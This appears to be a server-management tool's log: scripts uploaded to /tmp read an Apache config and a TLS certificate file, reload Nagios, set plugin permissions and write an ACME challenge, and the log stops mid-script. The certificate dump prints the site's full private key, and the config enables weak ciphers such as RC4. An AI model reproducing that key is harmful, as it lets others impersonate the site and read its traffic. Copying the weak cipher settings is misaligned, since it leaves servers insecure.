2026-05-09 11:49:27: 

chmod 755 /tmp/pkp988819; /tmp/pkp988819; rm /tmp/pkp988819

2026-05-09 11:49:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf	1403

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-09 11:49:27: 

PUT: /tmp/pkp597676

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-09 11:49:27: 

chmod 755 /tmp/pkp597676; /tmp/pkp597676; rm /tmp/pkp597676

2026-05-09 11:49:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt	5374
4e:3e:37:91:7d:9a:06:02:c3:36:41:cb:70:f3:8d:de

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBZHwZzwuRkBnvmui1Kjx8OUJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA5MTA1MDU0WhcNMjYwODA3MTA1MDUzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnvejxJjqBpZrf77UZqvHj8gt6SN70zLQPx4VSGq/vZP1Z90YzJCZsildX+jo
OZuBJzQWa1AuqqJTbxJ5R70SAjMnhoQWnYi4dRdQ1BSdqTug4C67UP/KQNN4lvtG
SpWvRgG/ojH7UzBS6tShjjX+CMMmFQQEOUQm10yu9fGlgmPNp43tLZr3zDhusB5X
JqdxSxWO301+4MaMavTUoeZjZj9bk3UXFmya3uhBu0tAi4Ac/OcdAVuVzufcGKCn
wgIUgMMhtOxemTQckEGp3SsiRRq34JnOn96WX8dZFzORDr3Viirfm3GnGxqhyDSA
KwmtVFA1O+i4V1h+Q93EW4VzcQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPzy
b5xrFYhenbHafQIwZvwCiIfYMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLm9yZy51a4IUd3d3LmNhcmVs
aW5rcy5vcmcudWswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMC5jcmwwggELBgorBgEEAdZ5AgQC
BIH8BIH5APcAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ4M
kiQKAAAEAwBGMEQCIGPYSyF0p1gHJn8Jzy3ig5QKdy5RXKG0eU6gTTe1EI3QAiAF
f78Z0VxEwdc2yn+sNlP/7ZGaDKy6fHdjqIvyufNB2AB+AKgmy+MKxjUSRlM/4GXx
TxnZbhkIE8Qd2W15ALMSPFUnAAABngySJ3kACAAABQAKLrftBAMARzBFAiEAtfXw
ncui2C5CLCxdI4Uu1VWE56/TKmOmnqwzxrhT0PwCIEK/o8gZ404P2gX3ZUR2ntaT
uWf/Mh/w1AwsAPBiafqLMA0GCSqGSIb3DQEBCwUAA4IBAQBfj811mmK9GJvxd1tf
0pElb8Rsvcf2cBq6CwXQ73edUECpqAMMcZqDd7Ap3havHLBlRe6PoskA0h8V6eEo
z9bm7MPjKA6OIc8qU203hcimFQkryE2qDaj+2vhl8BBvDQcFXjpr2Y2Nbb0Q8GNs
MxdS1pUPbK+7xyIN9fBLjrtPz0AUm69lJAD1N5KEequ06F+nCWhagZtNDV2hqK9E
2HkEvkIUveVzYYC6ORZZ4ht2sYnvxNKTplrcD+nBIzxTaBJJQ08UP3R46XSrt+i6
f/BJ8APpi6yeHqFFmmGp18Rg9IG879w/hRp7cRHD2UuowzfcomQkxKKYvU1voIOc
X8Yq
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCe96PEmOoGlmt/
vtRmq8ePyC3pI3vTMtA/HhVIar+9k/Vn3RjMkJmyKV1f6Og5m4EnNBZrUC6qolNv
EnlHvRICMyeGhBadiLh1F1DUFJ2pO6DgLrtQ/8pA03iW+0ZKla9GAb+iMftTMFLq
1KGONf4IwyYVBAQ5RCbXTK718aWCY82nje0tmvfMOG6wHlcmp3FLFY7fTX7gxoxq
9NSh5mNmP1uTdRcWbJre6EG7S0CLgBz85x0BW5XO59wYoKfCAhSAwyG07F6ZNByQ
QandKyJFGrfgmc6f3pZfx1kXM5EOvdWKKt+bcacbGqHINIArCa1UUDU76LhXWH5D
3cRbhXNxAgMBAAECggEAB7Nh3tB0h8iqIPhW1Dluk6fEF5blNPQxc9lKeSVYr/+W
pAcpICHCHEgWMqL2+vFuRn6mtmCePhxac9c+gkvlry8Ys1K7QLriiqOMQhXUlGHj
13BUGSam/tBvt0qpW0wYf0ju5lXLAbrlzWPrBpdVfMmtUtfMt5R2WDgqApaH6MLG
0fvLBlrGMmzLRPoL5/cHAWvbi/l8f5Ju0kWpdKYOAbu0t1p6HQPfd8H0Fm50COXS
GfRZgIEw1OBhll6x2/2vadn2JQfDK6y2QeiiWBicegyOKG1SG8VfdZDCrbBfEbJo
iGCHhc5t5vFWaRTLvwArqjqzqjC7TcbxuEVkLJK2gQKBgQDbyR16XJK23Ll1RtSQ
oA/ZP624UiJ0l14yxcdDNFvSBckrCLvcOv+W3RAiOkU8MIQgeGRcS4FGuCsU9C7E
27mmb8uqC0/gR0zBxv2OiFT/KDhDY0mvpOKt8eJrPBq2EE1qgqvISAm/XP5zDT+S
T1Maf7CVPLjHKSM1UGzFCc2rkQKBgQC5KR6U9D8FjQ9bpQ3z7EzOYJvfCCLByj/w
mZZ/cO1a3RaJ9nVL6Y73A6UNbjthe26SE2HL1GslF5Ei7S+vhO5jGMc/TGc8tQ40
5ceaqFvtUMV9a+CJp6C1u/PeE0vq7ykOfw4MEfQIxgNmEtBA6OyQ++d11S8i3zR1
bLWaYriZ4QKBgEUDkvkQRpWbG7VCx46eZDugrkkZqW4Y9eBVkGt+7nI1lOSpemv+
LrHNuro0t/bdeS/E/iapIu/09ro+rszr/hDQPBCqOqu/V8/lT0tJbf8tPvWSINpB
mVhrguCPYAfZeKXAYHakgEMRzWiNOXAU7pB8lhNWnOMU/NRJ6823dVixAoGBAJEz
JrFGbBltSerjH3L2DjEU34bh+Wegs814k+VyaB+GGsOrysXx7NPWPtuuYtCKG+Zf
XqSZ+j/HIGCUQX3Rr6N0beM8hgS8MtzWiFXGyvfqDETTkOxB0KxTLOUsmq8sRzT/
+8MJXSZ4KXglLryIK+NyN0tXFzSwdpHS4wKjggHhAoGBAJ1ghQ48jiXucft/ug1d
8LB52z6s13S4KewsyyDV3323dBa1TUkLEj5gR3lPE36fxULEo1UmaTl21OnXrw54
mm5BABd1uHJI04lRS0pI+OIpPm8DsSNv0Rr0YcftnxhWQ2IYzQyT+Wv/68kPRJzQ
UP1XemVKnKNSoASmtYye3Z4T
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-09 17:45:13: Establishing a connection
2026-05-09 17:45:14: Establishing a connection
2026-05-09 17:45:14: 

PUT: /tmp/pkp460877

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-09 17:45:14: 

chmod 755 /tmp/pkp460877; /tmp/pkp460877; rm /tmp/pkp460877

2026-05-09 17:45:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-05-09 17:45:14: 

systemctl reload nagios

2026-05-09 17:45:15: 




2026-05-09 17:45:16: 

PUT: /tmp/pkp363530

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-05-09 17:45:16: 

chmod 755 /tmp/pkp363530; /tmp/pkp363530; rm /tmp/pkp363530

2026-05-09 17:45:17: 


ok


2026-05-09 17:45:17: 

PUT: /tmp/pkp489177

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-05-09 17:45:17: 

chmod 755 /tmp/pkp489177; /tmp/pkp489177; rm /tmp/pkp489177

2026-05-09 17:45:18: 


ok


2026-05-09 17:45:18: 

PUT: /tmp/pkp159358

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-09 17:45:19: 

chmod 755 /tmp/pkp159358; /tmp/pkp159358; rm /tmp/pkp159358

2026-05-09 17:45:19: 


ok


2026-05-09 17:45:19: 

PUT: /tmp/pkp142251

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-05-09 17:45:20: 

chmod 755 /tmp/pkp142251; /tmp/pkp142251; rm /tmp/pkp142251

2026-05-09 17:45:20: 


ok


2026-05-09 17:45:20: 

PUT: /tmp/pkp474764

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-05-09 17:45:21: 

chmod 755 /tmp/pkp474764; /tmp/pkp474764; rm /tmp/pkp474764

2026-05-09 17:45:21: 


ok


2026-05-09 20:27:43: Establishing a connection
2026-05-09 20:27:44: Establishing a connection
2026-05-09 20:27:44: 

PUT: /tmp/pkp955982

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-09 20:27:44: 

chmod 755 /tmp/pkp955982; /tmp/pkp955982; rm /tmp/pkp955982

2026-05-09 20:27:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-05-09 20:27:44: 

systemctl reload nagios

2026-05-09 20:27:44: 




2026-05-09 20:27:44: 

PUT: /tmp/pkp583318

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-05-09 20:27:44: 

chmod 755 /tmp/pkp583318; /tmp/pkp583318; rm /tmp/pkp583318

2026-05-09 20:27:44: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp964864

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp964864; /tmp/pkp964864; rm /tmp/pkp964864

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp778840

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_iwatch.php'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp778840; /tmp/pkp778840; rm /tmp/pkp778840

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp216870

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp216870; /tmp/pkp216870; rm /tmp/pkp216870

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp687180

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp687180; /tmp/pkp687180; rm /tmp/pkp687180

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp880453

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp880453; /tmp/pkp880453; rm /tmp/pkp880453

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp557983

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp557983; /tmp/pkp557983; rm /tmp/pkp557983

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp591693

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp591693; /tmp/pkp591693; rm /tmp/pkp591693

2026-05-09 20:27:45: 


ok


2026-05-09 20:27:45: 

PUT: /tmp/pkp509997

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-05-09 20:27:45: 

chmod 755 /tmp/pkp509997; /tmp/pkp509997; rm /tmp/pkp509997

2026-05-09 20:27:45: 


ok


2026-05-10 06:00:02: Establishing a connection
2026-05-10 06:00:03: Establishing a connection
2026-05-10 06:00:03: 

PUT: /tmp/pkp578547

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-10 06:00:03: 

chmod 755 /tmp/pkp578547; /tmp/pkp578547; rm /tmp/pkp578547

2026-05-10 06:00:03: 


1


2026-05-10 06:00:05: Establishing a connection
2026-05-10 06:00:05: 

PUT: /tmp/pkp214944

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > 7E2oOU-la3LyznDtVDxx04sFcqLH2R608wa-uzWOkso <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7E2oOU-la3LyznDtVDxx04sFcqLH2R608wa-uzWOkso.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7E2oOU-la3LyznDtVDxx04sFcqLH2R608wa-uzWOkso


2026-05-10 06:00:05: 

chmod 755 /tmp/pkp214944; /tmp/pkp214944; rm /tmp/pkp214944

2026-05-10 06:00:05: 




2026-05-10 06:00:06: Establishing a remote connection
2026-05-11 10:02:54: Establishing a connection
2026-05-11 10:02:55: Establishing a connection
2026-05-11 10:02:55: 

PUT: /tmp/pkp530595

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-11 10:02:55: 

chmod 755 /tmp/pkp530595; /tmp/pkp530595; rm /tmp/pkp530595

2026-05-11 10:02:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-05-11 10:02:55: 

systemctl reload nagios

2026-05-11 10:02:55: 




2026-05-11 10:02:55: 

PUT: /tmp/pkp987893

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-05-11 10:02:55: 

chmod 755 /tmp/pkp987893; /tmp/pkp987893; rm /tmp/pkp987893

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp939659

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp939659; /tmp/pkp939659; rm /tmp/pkp939659

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp108113

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_iwatch.php'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp108113; /tmp/pkp108113; rm /tmp/pkp108113

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp657283

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp657283; /tmp/pkp657283; rm /tmp/pkp657283

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp230585

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp230585; /tmp/pkp230585; rm /tmp/pkp230585

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp961526

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp961526; /tmp/pkp961526; rm /tmp/pkp961526

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp725335

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp725335; /tmp/pkp725335; rm /tmp/pkp725335

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp360439

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp360439; /tmp/pkp360439; rm /tmp/pkp360439

2026-05-11 10:02:56: 


ok


2026-05-11 10:02:56: 

PUT: /tmp/pkp116280

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-05-11 10:02:56: 

chmod 755 /tmp/pkp116280; /tmp/pkp116280; rm /tmp/pkp116280

2026-05-11 10:02:56: 


ok


2026-05-11 10:14:03: Establishing a connection
2026-05-11 10:14:03: Establishing a connection
2026-05-11 10:14:04: 

PUT: /tmp/pkp261905

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-11 10:14:04: 

chmod 755 /tmp/pkp261905; /tmp/pkp261905; rm /tmp/pkp261905

2026-05-11 10:14:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-05-11 10:14:04: 

systemctl reload nagios

2026-05-11 10:14:04: 




2026-05-11 10:14:04: 

PUT: /tmp/pkp231968

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:14:04: 

chmod 755 /tmp/pkp231968; /tmp/pkp231968; rm /tmp/pkp231968

2026-05-11 10:14:04: 


ok


2026-05-11 10:14:04: 

PUT: /tmp/pkp167115

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-05-11 10:14:04: 

chmod 755 /tmp/pkp167115; /tmp/pkp167115; rm /tmp/pkp167115

2026-05-11 10:14:04: 


ok


2026-05-11 10:14:04: 

PUT: /tmp/pkp462643

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-05-11 10:14:04: 

chmod 755 /tmp/pkp462643; /tmp/pkp462643; rm /tmp/pkp462643

2026-05-11 10:14:04: 


ok


2026-05-11 10:14:04: 

PUT: /tmp/pkp733549

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:14:04: 

chmod 755 /tmp/pkp733549; /tmp/pkp733549; rm /tmp/pkp733549

2026-05-11 10:14:04: 


ok


2026-05-11 10:14:04: 

PUT: /tmp/pkp624724

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-05-11 10:14:04: 

chmod 755 /tmp/pkp624724; /tmp/pkp624724; rm /tmp/pkp624724

2026-05-11 10:14:04: 


ok


2026-05-11 10:14:05: 

PUT: /tmp/pkp996314

#!/bin/bash
